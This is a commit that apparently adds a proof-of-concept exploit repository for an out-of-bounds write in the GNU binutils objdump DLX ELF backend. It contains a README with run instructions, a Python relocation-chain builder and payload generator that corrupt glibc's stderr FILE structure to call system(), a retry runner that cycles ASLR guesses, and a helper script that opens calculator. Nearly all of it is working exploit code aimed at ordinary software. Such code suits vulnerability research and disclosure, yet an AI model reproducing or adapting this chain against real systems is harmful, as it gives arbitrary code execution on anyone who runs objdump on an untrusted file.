Upload files to "objdump-dlx-calc-poc"

This commit is contained in:
2026-06-29 16:54:26 +00:00
parent a6c563d7ae
commit 9f50af02fa
5 changed files with 707 additions and 0 deletions
+4
View File
@@ -0,0 +1,4 @@
#!/usr/bin/env sh
echo "CALC_HELPER_RAN $(date -u +%Y-%m-%dT%H:%M:%SZ)" >> ./calc_hit.log
/mnt/c/WINDOWS/system32/calc.exe >/dev/null 2>&1 &
exit 0
+158
View File
@@ -0,0 +1,158 @@
As mentioned before, https://github.com/4D4J/objdump-Out-Of-Bounds-write beat me to this finding. Please support his repo. He deserves it, great PoC with FULL ASLR bypass
# objdump dlx calc poc
Small repro for an `objdump -g` crash-to-calc path in the DLX ELF backend.
This is an ACE-style local parser bug: the input is a crafted ELF/DLX object file, and the trigger is running `objdump` on it. It is not a network RCE by itself. The demo payload starts the tiny helper named `P`, and that helper opens calculator.
Tested against a binutils-gdb master build from commit:
```text
c311f4d37f31ff3fbb5db6923abcdf93bb75a37b
```
Also validated against the official GNU Binutils 2.46.1 release tarball with a
clean `dlx-elf` objdump build:
```text
GNU objdump (GNU Binutils) 2.46.1
elf32-dlx
```
## whats in here
- `payloads/*.bin` - crafted ELF/DLX object files to feed to `objdump`
- `payloads/*.notes` - notes for each generated payload variant
- `P` - helper script that writes `calc_hit.log` and starts Windows calculator from WSL
- `run_dlx_calc_poc.sh` - tries the payload variants until one hits
- `generate_objdump_dlx_calc_poc.py` - regenerates the payload variants
- `dlx_chain_builder.py` - small builder used by the generator
- `docs/aslr-bypass-analysis.md` - notes on why this is profile-dependent
- `tools/search_pointer_transform.py` - Z3 sanity check for fixed pointer transforms
- `tools/aslr_delta_coverage.py` - lists the libc low-32 delta coverage used by the generator
The payload files are named `.bin` because they are raw binary files, but the file format inside is ELF/DLX.
## why there are multiple payloads
ASLR stays on. Because of that, one exact payload is not guaranteed to land every time. The files in `payloads/` are a small set of guesses for the address layout seen during testing.
The generator emits the original profile, a WSL/Ubuntu 24.04 profile measured
against the pinned `dlx-elf` build, and a profile measured against a clean GNU
Binutils 2.46.1 `dlx-elf` build. The profiles keep ASLR on but use stable
relative offsets observed in the target process:
```text
layout=wsl2404 off_io=-0x3690 off_sec=0xbb0 rbase=0x220
buf_delta=0x702fff00 or 0x6f300000
system_delta=0x7042e500, 0x6f42e600, 0x7043e4ff, 0x6f43e5ff, 0x7043e5ff, or 0x6f43e6ff
layout=gnu2461 off_io=-0x3690 off_sec=0xbb8 rbase=0x190 sec_size_offset=0x40
buf_delta=0x702fff00 or 0x6f300000
system_delta=0x7042e500, 0x6f42e600, 0x7043e4ff, 0x6f43e5ff, 0x7043e5ff, or 0x6f43e6ff
```
That is an ASLR-on relative-delta strategy, not a universal single-shot info-leak bypass. The six `system_delta` values cover every page-aligned low-32-bit libc base for the documented `_IO_2_1_stderr_` and `system` offsets. A miss can still happen if the heap/libio profile or libc build does not match, so the runner keeps the retry loop.
More detail is in `docs/aslr-bypass-analysis.md`.
The expanded `gnu2461` profile was validated with the existing runner against a
clean GNU Binutils 2.46.1 `dlx-elf` objdump build:
```text
HIT try=1 payload=payloads/dlx_calc_aslr_gnu2461_f06_b702fff00_s7042e500.bin
CALC_HELPER_RAN 2026-06-25T11:19:07Z
```
A ten-run one-sweep stability pass against the same clean build also hit every
run:
```text
hits=10/10
CALC_HELPER_RAN 2026-06-25T11:19:31Z
```
So a plain crash like this does not always mean the PoC failed:
```text
Segmentation fault (core dumped)
```
The useful signal is either calculator opening, or `calc_hit.log` getting a fresh `CALC_HELPER_RAN ...` line.
## quick run
From WSL:
```bash
cd /path/to/objdump-dlx-calc-poc
chmod +x P
export PATH="$PWD:$PATH"
MAX_TRIES=50 bash run_dlx_calc_poc.sh /path/to/objdump
cat calc_hit.log
```
Example with a local binutils build:
```bash
MAX_TRIES=50 bash run_dlx_calc_poc.sh /opt/binutils-master/binutils/objdump
```
## manual run without the helper loop
If you want to do the same thing by hand and keep ASLR on:
```bash
cd /path/to/objdump-dlx-calc-poc
chmod +x P
export PATH="$PWD:$PATH"
rm -f calc_hit.log
for p in payloads/*.bin; do
echo "$p"
/path/to/objdump -g "$p" >/dev/null 2>&1 || true
if [ -s calc_hit.log ]; then
echo "HIT $p"
cat calc_hit.log
break
fi
done
```
Same thing as a one-liner:
```bash
rm -f calc_hit.log; for p in payloads/*.bin; do echo "$p"; /path/to/objdump -g "$p" >/dev/null 2>&1 || true; if [ -s calc_hit.log ]; then echo "HIT $p"; cat calc_hit.log; break; fi; done
```
## regenerating payloads
```bash
rm -rf payloads
python3 generate_objdump_dlx_calc_poc.py --out-dir payloads
```
The runner will also regenerate `payloads/` automatically if the folder is missing or empty.
## what the bug is doing
At a high level, the crafted DLX object gives `objdump -g` relocation data that causes the DLX backend to write outside the intended debug section while processing relocations. The PoC shapes those writes so that, when the process layout lines up, control flow reaches the helper command `P`.
That is why `PATH` matters. The helper is run by name, so this line is needed:
```bash
export PATH="$PWD:$PATH"
```
Without it, you can still get the segfault, but the helper might not be found.
## cleanup
Runtime files are not needed:
```bash
rm -f calc_hit.log objdump-poc.out
```
The generated crash after a hit is expected. The process usually does not exit cleanly after the helper is reached.
+328
View File
@@ -0,0 +1,328 @@
#!/usr/bin/env pythoimport argparse
import struct
from pathlib import Path
EM_DLX = 0x5AA5
R_DLX_PCREL26 = 9
R_DLX_RELOC_32 = 3
MASK26 = 0x03FFFFFF
def p16(v):
return struct.pack(">H", v & 0xFFFF)
def p32(v):
return struct.pack(">I", v & 0xFFFFFFFF)
def strtab(strings):
blob = b"\x00"
offsets = {"": 0}
for s in strings:
if s and s not in offsets:
offsets[s] = len(blob)
blob += s.encode("ascii") + b"\x00"
return blob, offsets
def sym(name, value, size, info, shndx):
return p32(name) + p32(value) + p32(size) + bytes([info, 0]) + p16(shndx)
def build_elf(debug_size, relocs):
di = b"\x00" * debug_size
tx = b"\x00" * 4
sec_names = [
".text",
".debug_info",
".rel.debug_info",
".symtab",
".strtab",
".shstrtab",
]
shstr, shoff = strtab(sec_names)
names = [f"s{i}" for i in range(len(relocs))]
str_blob, stroff = strtab(names)
symtab = b""
symtab += sym(0, 0, 0, 0, 0)
symtab += sym(0, 0, 0, 0x03, 1)
symtab += sym(0, 0, 0, 0x03, 2)
for i, reloc in enumerate(relocs):
_offset, value = reloc[:2]
symtab += sym(stroff[f"s{i}"], value, 4, 0x12, 2)
rb = b""
for i, reloc in enumerate(relocs):
offset, _value = reloc[:2]
r_type = reloc[2] if len(reloc) > 2 else R_DLX_PCREL26
r_info = ((3 + i) << 8) | r_type
rb += p32(offset) + p32(r_info)
o = 52
text_off = o
o += len(tx)
debug_off = o
o += len(di)
rel_off = o
o += len(rb)
sym_off = o
o += len(symtab)
str_off = o
o += len(str_blob)
shstr_off = o
o += len(shstr)
shdr_off = o
def shdr(name, stype, flags, offset, size, link, info, align, entsize):
return (
p32(name)
+ p32(stype)
+ p32(flags)
+ p32(0)
+ p32(offset)
+ p32(size)
+ p32(link)
+ p32(info)
+ p32(align)
+ p32(entsize)
)
hdrs = b""
hdrs += shdr(0, 0, 0, 0, 0, 0, 0, 0, 0)
hdrs += shdr(shoff[".text"], 1, 6, text_off, len(tx), 0, 0, 4, 0)
hdrs += shdr(shoff[".debug_info"], 1, 0, debug_off, len(di), 0, 0, 1, 0)
hdrs += shdr(shoff[".rel.debug_info"], 9, 0x40, rel_off, len(rb), 4, 2, 4, 8)
hdrs += shdr(shoff[".symtab"], 2, 0, sym_off, len(symtab), 5, 3, 4, 16)
hdrs += shdr(shoff[".strtab"], 3, 0, str_off, len(str_blob), 0, 0, 1, 0)
hdrs += shdr(shoff[".shstrtab"], 3, 0, shstr_off, len(shstr), 0, 0, 1, 0)
ident = b"\x7fELF" + bytes([1, 2, 1, 0]) + b"\x00" * 8
ehdr = (
ident
+ p16(1)
+ p16(EM_DLX)
+ p32(1)
+ p32(0)
+ p32(0)
+ p32(shdr_off)
+ p32(0)
+ p16(52)
+ p16(0)
+ p16(0)
+ p16(40)
+ p16(7)
+ p16(6)
)
return ehdr + tx + di + rb + symtab + str_blob + shstr + hdrs
def decode_dlx_vallo(low26):
low26 &= MASK26
if low26 & 0x03000000:
return (~(low26 | 0xFC000000) + 1) & 0xFFFFFFFF
return low26
def low26_to_signed(low26):
low26 &= MASK26
if low26 & 0x02000000:
return low26 - 0x04000000
return low26
def word_to_low26(word):
return word & MASK26
def symbol_for_low26(current_word, final_low26):
final_low26 &= MASK26
signed_final = low26_to_signed(final_low26)
if signed_final == -0x02000000:
raise ValueError("DLX PCREL26 cannot encode final low26 0x02000000")
vallo = decode_dlx_vallo(word_to_low26(current_word))
return (vallo + signed_final) & 0xFFFFFFFF
def encodable_low26(final_low26):
return (final_low26 & MASK26) != 0x02000000
def apply_dlx_word(memory, offset, symbol_value):
cur = int.from_bytes(bytes(memory[offset : offset + 4]), "big")
vallo = decode_dlx_vallo(cur & MASK26)
val = ((symbol_value & 0xFFFFFFFF) - vallo) & 0xFFFFFFFF
if val & 0x80000000:
val_signed = val - 0x100000000
else:
val_signed = val
if abs(val_signed) > 0x01FFFFFF:
raise ValueError(f"relocation would be out of range: {val_signed:#x}")
new_word = (cur & 0xFC000000) | (val_signed & MASK26)
memory[offset : offset + 4] = new_word.to_bytes(4, "big")
class ChainBuilder:
def __init__(self, debug_size, rbase, memory_base, memory):
self.debug_size = debug_size
self.rbase = rbase
self.memory_base = memory_base
self.memory = bytearray(memory)
self.relocs = []
self.notes = []
self._initialized_addresses = set()
def _mem_index(self, target):
idx = target - self.memory_base
if idx < 0 or idx + 4 > len(self.memory):
raise ValueError(f"target {target:#x} outside modeled memory")
return idx
def _raw_reloc(self, offset, symbol_value, note):
idx = len(self.relocs)
self.relocs.append((offset & 0xFFFFFFFF, symbol_value & 0xFFFFFFFF))
self.notes.append((idx, offset, symbol_value & 0xFFFFFFFF, note))
self._set_address_field(idx, offset & 0xFFFFFFFF)
return idx
def add_pi32_reloc(self, target, delta, note):
actual_idx = len(self.relocs) + (2 if target < 0 else 0)
self._set_address_field(actual_idx, target & 0xFFFFFFFF)
if target < 0:
self._patch_negative_address_for_index(actual_idx)
idx = len(self.relocs)
self.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_32))
self.notes.append((idx, target, delta & 0xFFFFFFFF, note))
self._set_address_field(idx, target & 0xFFFFFFFF)
mem_idx = self._mem_index(target)
cur = int.from_bytes(bytes(self.memory[mem_idx : mem_idx + 4]), "big")
new = (cur + (delta & 0xFFFFFFFF)) & 0xFFFFFFFF
self.memory[mem_idx : mem_idx + 4] = new.to_bytes(4, "big")
def _set_address_field(self, reloc_idx, address):
if reloc_idx in self._initialized_addresses:
return
field = self.rbase + reloc_idx * 32 + 8
mem_idx = field - self.memory_base
if 0 <= mem_idx and mem_idx + 8 <= len(self.memory):
self.memory[mem_idx : mem_idx + 8] = (address & 0xFFFFFFFF).to_bytes(8, "little")
self._initialized_addresses.add(reloc_idx)
def _positive_write_low26(self, target, final_low26, note):
idx = self._mem_index(target)
cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big")
symv = symbol_for_low26(cur, final_low26)
self._raw_reloc(target, symv, note)
apply_dlx_word(self.memory, idx, symv)
def _patch_negative_address_for_index(self, actual_idx):
h = self.rbase + actual_idx * 32 + 12
self._positive_write_low26(h - 1, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword bytes 0..2")
self._positive_write_low26(h, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword byte 3")
def write_low26(self, target, final_low26, note):
if target < 0:
actual_idx = len(self.relocs) + 2
self._set_address_field(actual_idx, target & 0xFFFFFFFF)
self._patch_negative_address_for_index(actual_idx)
self._raw_reloc(target & 0xFFFFFFFF, 0, f"{note} placeholder before simulation")
idx = self._mem_index(target)
cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big")
symv = symbol_for_low26(cur, final_low26)
self.relocs[-1] = (target & 0xFFFFFFFF, symv)
self.notes[-1] = (actual_idx, target, symv, note)
apply_dlx_word(self.memory, idx, symv)
else:
self._positive_write_low26(target, final_low26, note)
def write_bytes4(self, target, data):
if len(data) != 4:
raise ValueError("write_bytes4 needs exactly 4 bytes")
prior_idx = self._mem_index(target - 1)
prior_low2 = self.memory[prior_idx] & 3
low_a = (
(prior_low2 << 24)
| (data[0] << 16)
| (data[1] << 8)
| data[2]
)
low_b = ((data[0] & 3) << 24) | (data[1] << 16) | (data[2] << 8) | data[3]
if encodable_low26(low_a) and encodable_low26(low_b):
self.write_low26(target - 1, low_a, f"stage write bytes at {target:#x}")
self.write_low26(target, low_b, f"finish write bytes at {target:#x}")
return
tail_idx = self._mem_index(target + 2)
tail_low2 = self.memory[tail_idx] & 3
for filler in range(0x10000):
low_tail = (tail_low2 << 24) | (data[3] << 16) | filler
if encodable_low26(low_tail) and encodable_low26(low_a):
self.write_low26(target + 2, low_tail, f"fallback tail byte for {target:#x}")
self.write_low26(target - 1, low_a, f"fallback first three bytes at {target:#x}")
return
raise ValueError(f"no DLX byte decomposition for target {target:#x}")
def parse_hex_bytes(value):
value = value.replace(" ", "").replace(":", "")
if len(value) % 2:
raise argparse.ArgumentTypeError("hex byte string must have an even length")
return bytes.fromhex(value)
def parse_write(spec):
off, data = spec.split(":", 1)
return int(off, 0), parse_hex_bytes(data)
def parse_patch(spec):
off, data = spec.split(":", 1)
return int(off, 0), parse_hex_bytes(data)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--debug-size", type=int, default=144)
parser.add_argument("--rbase", type=lambda x: int(x, 0), required=True)
parser.add_argument("--memory-base", type=lambda x: int(x, 0), required=True)
parser.add_argument("--memory-hex", type=parse_hex_bytes)
parser.add_argument("--memory-size", type=lambda x: int(x, 0))
parser.add_argument("--patch-mem", action="append", type=parse_patch, default=[])
parser.add_argument("--write4", action="append", type=parse_write, required=True)
parser.add_argument("--out", type=Path, required=True)
parser.add_argument("--notes", type=Path)
args = parser.parse_args()
if args.memory_hex is None:
if args.memory_size is None:
parser.error("either --memory-hex or --memory-size is required")
memory = bytearray(args.memory_size)
else:
memory = bytearray(args.memory_hex)
if args.memory_size is not None and args.memory_size > len(memory):
memory.extend(b"\x00" * (args.memory_size - len(memory)))
for off, data in args.patch_mem:
idx = off - args.memory_base
if idx < 0 or idx + len(data) > len(memory):
parser.error(f"--patch-mem offset {off:#x} outside modeled memory")
memory[idx : idx + len(data)] = data
builder = ChainBuilder(args.debug_size, args.rbase, args.memory_base, memory)
for target, data in args.write4:
builder.write_bytes4(target, data)
args.out.write_bytes(build_elf(args.debug_size, builder.relocs))
print(args.out.resolve())
print(f"relocations={len(builder.relocs)}")
if args.notes:
lines = []
for idx, target, symv, note in builder.notes:
lines.append(f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}")
args.notes.write_text("\n".join(lines) + "\n", encoding="ascii")
if __name__ == "__main__":
main()
@@ -0,0 +1,177 @@
import argparse
import importlib.util
from pathlib import Path
HERE = Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("dlx_chain_builder", HERE / "dlx_chain_builder.py")
builder_mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(builder_mod)
R_DLX_NONE = 0
R_DLX_RELOC_16 = 2
EXPECTED_RELOCS = 25
DEBUG_SIZE = 144
OFF_IO = -0x46A0
OFF_SEC = 0xB20
RBASE = 0x1F0
FILE_FLAGS = OFF_IO
FILE_BUF_BASE = OFF_IO + 0x20
FILE_SYSTEM_SLOT = OFF_IO + 0x68
FILE_WIDE_DATA = OFF_IO + 0xA0
FILE_VTABLE = OFF_IO + 0xD8
SECTION_SIZE_LOW = OFF_SEC + 0x38
SECTION_SIZE_HIGH = OFF_SEC + 0x3C
BUF_TO_FILE_BE32_DELTAS = (0xEF210000, 0xF020FF00)
WIDE_TO_FAKE_BE32_DELTAS = (0x4FFF0000,)
STDERR_TO_SYSTEM_BE32_DELTAS = (
0x7042E500,
0x6F42E600,
0x7043E4FF,
0x6F43E5FF,
0x7043E5FF,
0x6F43E6FF,
)
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16 = 0x0002
LAYOUTS = (
{
"name": "orig",
"off_io": OFF_IO,
"off_sec": OFF_SEC,
"sec_size_offset": 0x38,
"rbase": RBASE,
"buf_deltas": BUF_TO_FILE_BE32_DELTAS,
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
},
{
"name": "wsl2404",
"off_io": -0x3690,
"off_sec": 0xBB0,
"sec_size_offset": 0x38,
"rbase": 0x220,
"buf_deltas": (0x702FFF00, 0x6F300000),
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
},
{
"name": "gnu2461",
"off_io": -0x3690,
"off_sec": 0xBB8,
"sec_size_offset": 0x40,
"rbase": 0x190,
"buf_deltas": (0x702FFF00, 0x6F300000),
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
},
)
def add_pi16_reloc(chain, target, delta, note):
actual_idx = len(chain.relocs) + (2 if target < 0 else 0)
chain._set_address_field(actual_idx, target & 0xFFFFFFFF)
if target < 0:
chain._patch_negative_address_for_index(actual_idx)
idx = len(chain.relocs)
chain.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_16))
chain.notes.append((idx, target, delta & 0xFFFFFFFF, note))
chain._set_address_field(idx, target & 0xFFFFFFFF)
def base_memory(flag_byte4, off_io, off_sec, rbase):
memory_base = off_io - 0x100
memory_end = max(rbase + EXPECTED_RELOCS * 32 + 0x80, off_sec + 0x80)
memory = bytearray(memory_end - memory_base)
flags_idx = off_io - memory_base
memory[flags_idx : flags_idx + 8] = bytes([0x88, 0x24, 0xAD, 0xFB, flag_byte4, 0, 0, 0])
return memory_base, memory
def build(out_dir):
out_dir.mkdir(parents=True, exist_ok=True)
outputs = []
for layout in LAYOUTS:
off_io = layout["off_io"]
off_sec = layout["off_sec"]
rbase = layout["rbase"]
file_flags = off_io
file_buf_base = off_io + 0x20
file_system_slot = off_io + 0x68
file_wide_data = off_io + 0xA0
file_vtable = off_io + 0xD8
section_size_low = off_sec + layout["sec_size_offset"]
section_size_high = section_size_low + 4
for flag_byte4 in (0x05, 0x06):
for buf_delta in layout["buf_deltas"]:
for wide_delta in layout["wide_deltas"]:
for system_delta in layout["system_deltas"]:
memory_base, memory = base_memory(flag_byte4, off_io, off_sec, rbase)
chain = builder_mod.ChainBuilder(DEBUG_SIZE, rbase, memory_base, memory)
chain.write_bytes4(file_flags, b"P\x00\x00\x00")
chain.write_bytes4(section_size_low, b"\xff\xff\xff\xff")
chain.write_bytes4(section_size_high, b"\xff\xff\xff\xff")
chain.add_pi32_reloc(file_buf_base, buf_delta, "FILE+0x20 input buffer pointer -> FILE fake wide vtable")
chain.add_pi32_reloc(file_system_slot, system_delta, "FILE+0x68 _IO_2_1_stderr_ -> system")
chain.add_pi32_reloc(file_wide_data, wide_delta, "FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data")
add_pi16_reloc(
chain,
file_vtable,
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16,
"FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow",
)
while len(chain.relocs) < EXPECTED_RELOCS:
chain.relocs.append((0, 0, R_DLX_NONE))
chain.notes.append((len(chain.relocs) - 1, 0, 0, "pad R_DLX_NONE"))
if len(chain.relocs) != EXPECTED_RELOCS:
raise ValueError(f"unexpected reloc count {len(chain.relocs)}")
name = (
f"dlx_calc_aslr_{layout['name']}_f{flag_byte4:02x}_"
f"b{buf_delta:08x}_s{system_delta:08x}"
)
out = out_dir / f"{name}.bin"
notes = out_dir / f"{name}.notes"
out.write_bytes(builder_mod.build_elf(DEBUG_SIZE, chain.relocs))
notes.write_text(
"\n".join(
[
f"layout={layout['name']}",
f"flag_byte4=0x{flag_byte4:02x}",
f"buf_delta=0x{buf_delta:08x}",
f"wide_delta=0x{wide_delta:08x}",
f"system_delta=0x{system_delta:08x}",
"command=P",
f"off_io={off_io:#x} off_sec={off_sec:#x} rbase={rbase:#x}",
f"sec_size_offset={layout['sec_size_offset']:#x}",
"",
]
+ [
f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}"
for idx, target, symv, note in chain.notes
]
)
+ "\n",
encoding="ascii",
)
outputs.append(out)
return outputs
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--out-dir", type=Path, default=HERE / "payloads")
args = ap.parse_args()
for out in build(args.out_dir):
print(out.resolve())
if __name__ == "__main__":
main()
+40
View File
@@ -0,0 +1,40 @@
#!/usr/bin/env bash
set -u
BASE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
OUT_DIR="${2:-$BASE_DIR/payloads}"
MAX_TRIES="${MAX_TRIES:-50}"
if [ "$#" -lt 1 ]; then
echo "usage: $0 /path/to/objdump [payload-directory]" >&2
exit 2
fi
OBJ="$1"
if [ ! -x "$OBJ" ]; then
echo "objdump not executable: $OBJ" >&2
exit 2
fi
if ! compgen -G "$OUT_DIR/*.bin" >/dev/null; then
python3 "$BASE_DIR/generate_objdump_dlx_calc_poc.py" --out-dir "$OUT_DIR" >/dev/null
fi
cd "$BASE_DIR" || exit 2
export PATH="$BASE_DIR:$PATH"
rm -f "$BASE_DIR/calc_hit.log"
for try in $(seq 1 "$MAX_TRIES"); do
for payload in "$OUT_DIR"/*.bin; do
python3 -c 'import subprocess, sys
subprocess.run([sys.argv[1], "-g", sys.argv[2]], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)' "$OBJ" "$payload" >/dev/null 2>&1 || true
if grep -q "CALC_HELPER_RAN" "$BASE_DIR/calc_hit.log" 2>/dev/null; then
echo "HIT try=$try payload=$payload"
exit 0
fi
done
done
echo "MISS after $MAX_TRIES sweeps" >&2
exit 1